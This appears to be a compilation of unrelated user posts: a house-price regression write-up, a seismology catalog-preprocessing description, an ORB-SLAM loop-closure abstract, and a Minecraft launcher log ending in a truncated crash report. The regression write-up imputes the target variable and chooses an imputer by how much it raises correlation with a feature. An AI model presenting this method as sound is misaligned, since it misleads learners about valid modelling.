- The dataset consists of 1042 rows and 20 columns. This is a regression problem where we can the target variable is 'price' which I have predicted using Machine Learning Modeling. - Dropped the columns 'id', 'time_created','time_updated','external_id','url','latitude' and 'longitude' from the dataset, as these variables do not provide information significant in modeling. - Here I have observed that the variable 'status' has only one value throughout the dataset i.e. 'active', hence I have can drop this variable as it is not providing us significant information. - I observed that the variables 'bedrooms' ,'bathrooms', 'garages' ,'parkings' ,'offering' ,'erf_size' ,' floor_size' have missing values and the target variable 'price' also has missing values. Hence I took care of this by filling the missing values of the independent features and the target variable. - After making the above observation I filled the two rows which have value '[None]' in the property_type column with 'house' as the value for the'agency' variable for these rows is 'rawson' and the mode for the variable 'property_type' for the agency 'rawson' is 'house' and also mode for the 'property_type' variable for the area 'Constantia' is also 'house' - Predicted the missing Values Using Imputers From sklearn.preprocessing - Here I used the KNNImputer to fill the missing values in the variables 'price', "garages","parkings","erf_size","floor_size" by predicting the values using the KNNImputer library. - We go through a range of values from 1 to 20, for the parameter 'n_neighbors' in the KNNImputer, as we want to find which value of 'n_neighbors' gives the maximum value of correlation between the target variable 'price' and the feature 'floor_size'. The reason I have selected the variable 'floor_size' to calculate the correlation with the target variable 'price' is that, before imputing the missing values the target variable 'price' had the highest corrleation with the independent variable 'floor_size' which was 0.5319914806523912. Now I am finding the maximum correaltion value between the target variable 'price' and the variable 'floor_size' after the missing values are imputed using the KNNImputer, for different values of the parameter 'n_neighbors' and then compare it with 0.5319914806523912, whcih is the correlation for the original dataset whcih consists of missing values. - Here we observe that the maximum correlation between the target variable 'price' and the independent variable 'floor_size' is 0.4233518730063556, when the value for 'n_neighbors' is 6. This value is less than the value of correlation for the orignal dataset, hence we move on to another Imputer to fill the missing values as after the missing values were filled using the KNNImputer the correlation decreased whcih is not desirable. - Here we observe that the correlation between the target variable 'price' and the independent variable 'floor_size' is 0.6703992976511615 after the imputation of missing values using IterativeImpueter. This value is more than the correlation value for the original dataset. Hence we allow the imputation of the missing values using IterativeImputer into the orignal dataset. - Now while filling the variable 'bathrooms' and 'bedrooms'; there are 4 and 14 NaN values respectively. Hence I have decided to fill the values on a case by case basis. I have decided to fill the 'NaN' values based on their 'property_type'. So for filling the 'bathrooms' variable which has 'property_type' as 'house', I have filled these values with the mode for the 'bathrooms' and 'bedrooms' variable. Similarly I have done the same for the other 'property_type' 'apartment'. - Performed Data Visualizations for the features to draw more insights. - Here, you can see outliers in the target variable 'price' from the above figure. While price outliers would not be a concern because it is the target feature,the presence of outliers in predictors, in this case there aren't any, would affect the model’s performance. Detecting outliers and choosing the appropriate scaling method to minimize their effect would ultimately improve performance. - From the correlation matrix, we can see that there is varying extent to which the independent variables are correlated with the target. Lower correlation means weak linear relationship but there may be a strong non-linear relationship so, we can’t pass any judgement at this level, let the algorithm work for us. - Build the regression models Linear Regression, XGBoost, AdaBoost, Decision Tree, Random Forest, KNN and SVM. - Performed Hyperparameter tuning for all the above algorithms. - Predicted the prices using the above models and used the metrics RMSE, R -square and Adjusted R-square. - As expected, the Adjusted R² score is slightly lower than the R² score for each model and if we evaluate based on this metric, the best fit model would be XGBoost with the highest Adjusted R² score and the worst would be SVM Regressor with the least R² score. - However, this metric is only a relative measure of fitness so, we must look at the RMSE values. - In this case, XGBoost and SVM have the lowest and highest RMSE values respectively and the rest models are in the exact same order as their Adjusted R² scores.
MengSunS
Double difference algorithm (Waldhauser and Ellsworth, 2000) is a widely used method to improve the seismicity pattern precision in seismology. However, the raw data downloaded from networks can not be used as the inputs directly due to formats, info sequence, missing data, redundant info etc.. Here, we present codes to deal these problems (use Spainish local network catalog as an example) and the resulted two files can be directly used as inputs of double difference relocation (hypoDD).
sarankhaliq2326
We investigate why ORB-SLAM is missing fre- quently occurring loop closures. Investigating failures in loop closure module of ORB-SLAM is challenging since it consists of multiple building blocks. Our meticulous investigations have revealed few interesting findings. Contrary to reported results, ORB-SLAM frequently misses large fraction of loop closures on public (KITTI, TUM RGB-D) datasets. One common assumption is, in such scenarios, the visual place recognition (vPR) block of the loop closure module is unable to find a suitable match due to extreme conditions (dynamic scene, viewpoint/scale changes). We report that native vPR of ORB SLAM is not the sole reason for these failures. Interestingly, recent deep vPR alternatives achieve impressive matching performance. Replacing native vPR with these deep alternatives will partially improve the loop closure performance of visual SLAM. The other part of the problem is the subsequent relative pose estimation module between the matching pair. Surpris- ingly, using off-the-shelf SIFT based relative pose estimation manages to close most of the loops missed by ORB-SLAM. This finding advocates the use of multiple features for different SLAM modules instead of relying on a one-feature-for-all strategy. Furthermore, the performance of deep relocalization methods (MapNet) is worse than classic methods even in case of loop closures scenarios. This finding further supports the fundamental limitation of deep relocalization methods recently diagnosed. Finally, we provide a challenging loop closure dataset which enabled these findings. The dataset can be used to test future loop closing routines against challenging yet commonly occurring indoor navigation scenarios.
HurriKane
[16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] ATLauncher Version: 3.2.2.6 [16/5/2015 18:44:34 PM] Operating System: Windows 7 [16/5/2015 18:44:34 PM] RAM Available: 1024MB [16/5/2015 18:44:34 PM] Java Version: Launcher: 1.8.0_45, Minecraft: 1.8.0_45 [16/5/2015 18:44:34 PM] Java Path: C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:44:34 PM] 64 Bit Java: false [16/5/2015 18:44:34 PM] Launcher Directory: **USERSDIR** [16/5/2015 18:44:34 PM] Using Theme: Default Theme by RyanTheAllmighty [16/5/2015 18:44:35 PM] Showing splash screen and loading everything [16/5/2015 18:44:36 PM] Checking for updated files! [16/5/2015 18:44:39 PM] Updates found! [16/5/2015 18:44:39 PM] Downloading Launcher File packs.json [16/5/2015 18:44:42 PM] Finished downloading updated files! [16/5/2015 18:44:42 PM] Loading Language: English [16/5/2015 18:44:42 PM] Loading external library authlib-1.5.17.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-api-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-core-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library guava-17.0.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-io-2.4.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-lang3-3.3.2.jar to classpath [16/5/2015 18:44:43 PM] [Background] Checking Minecraft Versions Started [16/5/2015 18:44:47 PM] Checking account UUID's! [16/5/2015 18:44:47 PM] Launcher finished loading everything [16/5/2015 18:44:47 PM] Launcher opening [16/5/2015 18:44:47 PM] Made By Bob* [16/5/2015 18:44:47 PM] *(Not Actually) [16/5/2015 18:44:47 PM] Setting up Bottom Bar [16/5/2015 18:44:48 PM] Finished Setting up Bottom Bar [16/5/2015 18:44:48 PM] Setting up Tabs [16/5/2015 18:44:50 PM] [Background] Checking Minecraft Versions Complete [16/5/2015 18:44:51 PM] Finished Setting up Tabs [16/5/2015 18:44:51 PM] Showing Launcher [16/5/2015 18:45:06 PM] Logging into Minecraft! [16/5/2015 18:45:06 PM] Trying to login with access token! [16/5/2015 18:45:08 PM] Launching pack Sky Factory 2.4 for Minecraft 1.7.10 [16/5/2015 18:45:08 PM] Launching Minecraft with the following arguments (user related stuff has been removed): [C:\Program Files\Java\jre1.8.0_45\bin\javaw, -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump, -XX:-OmitStackTraceInFastThrow, -XX:+UseConcMarkSweepGC, -XX:+CMSIncrementalMode, -XX:-UseAdaptiveSizePolicy, -Xms256M, -Xmx1024M, -XX:MetaspaceSize=128M, -Duser.language=en, -Duser.country=US, -Dfml.log.level=INFO, -Djava.library.path=**USERSDIR**\Instances\SkyFactory\bin\natives, -cp, **USERSDIR**\ATLauncher (1).exe;anything;**USERSDIR**\Instances\SkyFactory\jarmods\forge-1.7.10-10.13.3.1395-1710ls-universal.jar;**USERSDIR**\Instances\SkyFactory\bin\launchwrapper-1.11.jar;**USERSDIR**\Instances\SkyFactory\bin\asm-all-5.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\akka-actor_2.11-2.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\config-1.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-actors-migration_2.11-1.1.0.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-compiler-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-library_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-plugin_2.11.1-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-library-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-parser-combinators_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-reflect-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-swing_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-xml_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\jopt-simple-4.5.jar;**USERSDIR**\Instances\SkyFactory\bin\lzma-0.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\guava-16.0.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-lang3-3.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\realms-1.3.5.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-compress-1.8.1.jar;**USERSDIR**\Instances\SkyFactory\bin\httpclient-4.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-logging-1.1.3.jar;**USERSDIR**\Instances\SkyFactory\bin\httpcore-4.3.2.jar;**USERSDIR**\Instances\SkyFactory\bin\vecmath-1.3.1.jar;**USERSDIR**\Instances\SkyFactory\bin\trove4j-3.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\icu4j-core-mojang-51.2.jar;**USERSDIR**\Instances\SkyFactory\bin\codecjorbis-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\codecwav-20101023.jar;**USERSDIR**\Instances\SkyFactory\bin\libraryjavasound-20101123.jar;**USERSDIR**\Instances\SkyFactory\bin\librarylwjglopenal-20100824.jar;**USERSDIR**\Instances\SkyFactory\bin\soundsystem-20120107.jar;**USERSDIR**\Instances\SkyFactory\bin\netty-all-4.0.10.Final.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-io-2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-codec-1.9.jar;**USERSDIR**\Instances\SkyFactory\bin\jinput-2.0.5.jar;**USERSDIR**\Instances\SkyFactory\bin\jutils-1.0.0.jar;**USERSDIR**\Instances\SkyFactory\bin\gson-2.2.4.jar;**USERSDIR**\Instances\SkyFactory\bin\authlib-1.5.21.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-api-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\log4j-core-2.0-beta9.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\lwjgl_util-2.9.1.jar;**USERSDIR**\Instances\SkyFactory\bin\twitch-5.16.jar;**USERSDIR**\Instances\SkyFactory\bin\minecraft.jar, net.minecraft.launchwrapper.Launch, --username, REDACTED, --version, 1.7.10, --gameDir, **USERSDIR**\Instances\SkyFactory, --assetsDir, **USERSDIR**\Configs\Resources, --assetIndex, 1.7.10, --uuid, 730e76d78bca447ba7dfdbc48a6c41dc, --accessToken, REDACTED, --userProperties, REDACTED, --userType, mojang, --width=854, --height=480, --tweakClass=cpw.mods.fml.common.launcher.FMLTweaker] [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Using primary tweak class name cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:13 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLTweaker [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Forge Mod Loader version 7.10.130.1395 for Minecraft 1.7.10 loading [16/5/2015 18:45:14 PM] [main/INFO] [FML]: Java is Java HotSpot(TM) Client VM, version 1.8.0_45, running on Windows 7:x86:6.1, installed at C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:45:14 PM] [main/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:16 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.CodeChickenCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:20 PM] [main/INFO] [STDERR]: [codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:436]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod cofh.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/ERROR] [FML]: Coremod RemoteIOCorePlugin: Unable to class load the plugin dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] java.lang.ClassNotFoundException: dmillerw.remoteio.asm.RemoteIOCorePlugin [16/5/2015 18:45:20 PM] at java.net.URLClassLoader.findClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:117) ~[launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.ClassLoader.loadClass(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName0(Native Method) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at java.lang.Class.forName(Unknown Source) ~[?:1.8.0_45] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.loadCoreMod(CoreModManager.java:417) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.discoverCoreMods(CoreModManager.java:346) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.CoreModManager.handleLaunch(CoreModManager.java:214) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupHome(FMLLaunchHandler.java:90) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.setupClient(FMLLaunchHandler.java:67) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.relauncher.FMLLaunchHandler.configureForClientLaunch(FMLLaunchHandler.java:34) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at cpw.mods.fml.common.launcher.FMLTweaker.injectIntoClassLoader(FMLTweaker.java:126) [forge-1.7.10-10.13.3.1395-1710ls-universal.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:115) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [launchwrapper-1.11.jar:?] [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod com.rebelkeithy.dualhotbar.DualHotbarPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod vazkii.emotes.client.asm.LoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod invtweaks.forge.asm.FMLPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod mcp.mobius.mobiuscore.asm.CoreDescription does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.nei.asm.NEICorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openblocks.OpenBlocksCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod openmods.core.OpenModsCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod xreliquary.common.asm.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod thaumcraft.codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod portablejim.veinminer.asm.VeinMinerCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/WARN] [FML]: The coremod codechicken.core.launch.DepLoader does not have a MCVersion annotation, it may cause issues with this version of Minecraft [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLInjectionAndSortingTweaker [16/5/2015 18:45:20 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft Forge. Certificate fingerprint e3c3d50c7c986df74c645c0ac54639741c90a557 [16/5/2015 18:45:25 PM] [main/INFO] [FML]: Found valid fingerprint for Minecraft. Certificate fingerprint cd99959656f753dc28d863b46769f7f8fbaefcfc [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:25 PM] [main/INFO] [STDERR]: [xreliquary.common.asm.DepLoader$DepLoadInst:checkExisting:433]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:25 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of ForgeMultipart, 1.1.2.332 is newer than request 1.1.0.309 [16/5/2015 18:45:26 PM] [main/INFO] [STDERR]: [thaumcraft.codechicken.core.launch.DepLoader$DepLoadInst:checkExisting:459]: Warning: version of bspkrsCore, 6.16 is newer than request 6.15 [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:26 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:27 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.FMLDeobfTweaker [16/5/2015 18:45:27 PM] [main/INFO] [STDOUT]: [cofh.asm.CoFHAccessTransformer:readMappingFile:40]: Adding Accesstransformer map: CoFH_at.cfg [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.relauncher.CoreModManager$FMLPluginWrapper [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Loading tweak class name cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Calling tweak class cpw.mods.fml.common.launcher.TerminalTweaker [16/5/2015 18:45:28 PM] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.client.main.Main} [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] Trying to patch EntityPlayer.isInBed (class: yz) [16/5/2015 18:45:29 PM] [main/INFO] [FML]: [OpenBlocks] isInBed patch applied. Enabling sleeping bags [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Transformed [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a_original(Lnet/minecraft/inventory/Slot;)V - New Method [16/5/2015 18:45:30 PM] [main/INFO] [AE2-CORE]: func_146977_a(Lnet/minecraft/inventory/Slot;)V - Invoke Virtual [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Current code is OBFUSCATED [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found cpw.mods.fml.common.FMLCommonHandler with checksum 9D07ABF40E8390189AB4D1D4CAA86BAB [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostServerTick ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPreWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in onPostWorldTick (Lahb;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Switching injection mode to FORGE [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.World [ ahb ] with checksum 1259399FD8CF71F9B1835D9BCDD827D9 [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.updateEntities()... [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in h ()V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Found World.<init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [MobiusCore]: Successful injection in <init> (Lazc;Ljava/lang/String;Lahj;Laqo;Lqi;)V [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:transform:88]: ********* INSIDE GuiIngameForge TRANSFORMER ABOUT TO PATCH: net.minecraftforge.client.GuiIngameForge [16/5/2015 18:45:30 PM] [main/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarTransformer:patchShift:200]: In renderToolHightlight [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.world.WorldServer [ mt ] with checksum A9B6290BB23DD7A1659115ABB503DDD8 [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:31 PM] [main/INFO] [MobiusCore]: Successful injection in b ()V [16/5/2015 18:45:32 PM] [main/INFO]: Setting user: **MINECRAFTUSERNAME** [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.entity.projectile.EntityArrow], Method [func_70071_h_] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.entity.projectile.EntityArrow Finished. [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.item.ItemStack], Method [func_77953_t] [16/5/2015 18:45:33 PM] [main/INFO] [ttCore]: Transforming net.minecraft.item.ItemStack Finished. [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.Container [16/5/2015 18:45:34 PM] [main/INFO] [FML]: InvTweaks: net.minecraft.inventory.ContainerFurnace [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming Class [net.minecraft.inventory.ContainerFurnace], Method [func_82846_b] [16/5/2015 18:45:34 PM] [main/INFO] [ttCore]: Transforming net.minecraft.inventory.ContainerFurnace Finished. [16/5/2015 18:45:34 PM] [Client thread/INFO]: LWJGL Version: 2.9.1 [16/5/2015 18:45:37 PM] [Client thread/WARN] [OpenMods]: openmods.stencil.FramebufferHooks.createRenderbufferStorage(FramebufferHooks.java:24): Your potato failed to allocate nice buffer. No stencils for you. Cause: Invalid enum [16/5/2015 18:45:38 PM] [Client thread/INFO] [STDOUT]: [cpw.mods.fml.client.SplashProgress:start:100]: ---- Minecraft Crash Report ---- [16/5/2015 18:45:38 PM] // Why did you do that? [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] Time: 5/16/15 6:45 PM [16/5/2015 18:45:38 PM] Description: Loading screen debug info [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] java.lang.Throwable [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.SplashProgress.start(SplashProgress.java:99) [16/5/2015 18:45:38 PM] at cpw.mods.fml.client.FMLClientHandler.beginMinecraftLoading(FMLClientHandler.java:190) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_71384_a(Minecraft.java:480) [16/5/2015 18:45:38 PM] at net.minecraft.client.Minecraft.func_99999_d(Minecraft.java:878) [16/5/2015 18:45:38 PM] at net.minecraft.client.main.Main.main(SourceFile:148) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [16/5/2015 18:45:38 PM] at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at java.lang.reflect.Method.invoke(Unknown Source) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.launch(Launch.java:135) [16/5/2015 18:45:38 PM] at net.minecraft.launchwrapper.Launch.main(Launch.java:28) [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] A detailed walkthrough of the error, its code path and all known details is as follows: [16/5/2015 18:45:38 PM] --------------------------------------------------------------------------------------- [16/5/2015 18:45:38 PM] [16/5/2015 18:45:38 PM] -- System Details -- [16/5/2015 18:45:38 PM] Details: [16/5/2015 18:45:38 PM] Minecraft Version: 1.7.10 [16/5/2015 18:45:38 PM] Operating System: Windows 7 (x86) version 6.1 [16/5/2015 18:45:38 PM] Java Version: 1.8.0_45, Oracle Corporation [16/5/2015 18:45:38 PM] Java VM Version: Java HotSpot(TM) Client VM (mixed mode), Oracle Corporation [16/5/2015 18:45:38 PM] Memory: 148240816 bytes (141 MB) / 259522560 bytes (247 MB) up to 1046937600 bytes (998 MB) [16/5/2015 18:45:38 PM] JVM Flags: 8 total; 